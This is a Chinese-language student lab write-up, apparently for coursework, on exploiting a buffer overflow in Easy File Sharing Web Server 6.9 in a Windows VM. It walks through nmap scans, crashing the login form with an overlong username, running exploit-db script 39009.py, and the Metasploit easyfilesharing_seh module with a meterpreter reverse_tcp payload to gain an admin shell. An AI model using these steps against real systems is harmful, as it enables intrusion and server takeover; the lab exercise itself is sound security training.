Easy File Sharing Web Server 漏洞的简单利用

背景

  • EFS Easy File Sharing (EFS) Web Server是荷兰EFS Software公司的一套集论坛网站,文件上传、下载、共享和图片共享等功能的文件共享软件。
  • EFS EFS Web Server 7.2版本中存在基于栈的缓冲区溢出漏洞。远程攻击者可通过向forum.ghp文件发送恶意的登录请求利用该漏洞执行任意代码。
  • Easy File Sharing Web Server在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞获取敏感信息。Easy File Sharing Web Server在上传文件时没有正确地过滤某些参数,允许用户通过目录遍历攻击向任意父目录上传文件。
  • 由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。

引自:https://fakercsr.github.io/posts/bb34e501/

Requirement

  • 需求攻击机
  • 靶机(Window)
  • Easy File Sharing Web Server

Easy File Sharing Web Server

这是一个软件,由我们老师提供下载,其他人应该可以搜索下载Easy File Sharing Web Server。

下载之后我们需要把它拖到对应的window虚拟机中。

自行百度:

Work

下载

下载的过程就一路点。

当然可以修改安装路径。

直接点击Try it!

image-20211105220648287

image-20211111211911041

得到靶机ip

输入ipconfig

扫描靶机端口

用linux扫window7

可能会扫不到,这时候就需要检测window7的防火墙是否被关闭,需要关闭防火墙。

image-20211111224124677

nmap ip

image-20211105215819878

发现开放的80端口

1
nmap -sV 目标靶机ip地址

不知道为什么,我得添加一个-Pn,默认目标靶机在线:

1
nmap -Pn -sV 目标靶机ip地址

image-20211104122232948

发现其开放Easy File Sharing Web Server httpd 6.9,这个版本存在缓冲区溢出漏洞:

漏洞利用

利用手动注入使缓冲区溢出

在浏览器中输入:

1
目标靶机ip地址:80   (使用英文符号以及无空格)

image-20211112160121792

进入了 Easy File Sharing Web Server的登入页

该登陆页面username存在溢出漏洞

也就是当我们在Username中输入过长的用户名时,该服务程序会发生缓冲区溢出

1
2
3
for(int i=0;i<5000;i++){
cout<<1;
}

复制打印的5000个字符,输入Username,然后直接扥入。

image-20211112160342650

发现网页无响应

打开靶机发现,该程序已崩溃,这是因为输入的字符覆盖了程序原本的返回地址,导致程序转入非法地址崩溃。

如果将这些字符改为攻击脚本,让返回的地址为我们的攻击木马,可以进一步利用漏洞。

image-20211112160409576

利用kali自带的攻击脚本

在靶机上重启服务程序,在kali输入:

1
searchsploit easy file sharing

这一行命令的功能是:在kali自带的漏洞利用脚本库中寻找easy file sharing的漏洞利用脚本

image-20211112160556011

这里使用39009.py,其他攻击脚本同样奏效。

1
Easy File Sharing Web Server 7.2 - HEAD Request Buffer Overflow (SEH)

这个脚本是专门攻击Easy File Sharing Web Server httpd 7.2 版本的

但是其对Easy File Sharing Web Server httpd 6.9版本同样有效,并且它的执行效果是让服务器弹计算机并崩溃

脚本命令如下:

1
python /usr/share/exploitdb/exploits/windows/remote/39009.py 目标靶机ip地址 80

image-20211104125237585

打开靶机,发现计算器弹出,并且程序崩溃。

image-20211112160802677

利用metasploit进行漏洞利用

在终端输入

1
msfconsole

msf启动完成后输入,找到EasyFileSharing的漏洞利用模块

1
search EasyFileSharing

image-20211104131955240

选择 2015年的这个利用模块,输入:

1
use exploit/windows/http/easyfilesharing_seh

因为目标靶机还没设置,所以msf会报错No payload configured, defaulting to windows/meterpreter/reverse_tcp

接下来进行配置

1
show options

image-20211104132746431

配值目标靶机地址:

1
set RHOSTS 目标靶机的ip地址

image-20211104132946318

然后执行攻击模块输入:

1
exploit

image-20211104133104393

模块执行成功,可以输入自己想输入的命令

image-20211104133225913

也可以查看自己目前的权限

1
2
3
PLAINTEXT
shell
whoami

发现已经拿到管理员权限

image-20211104133335256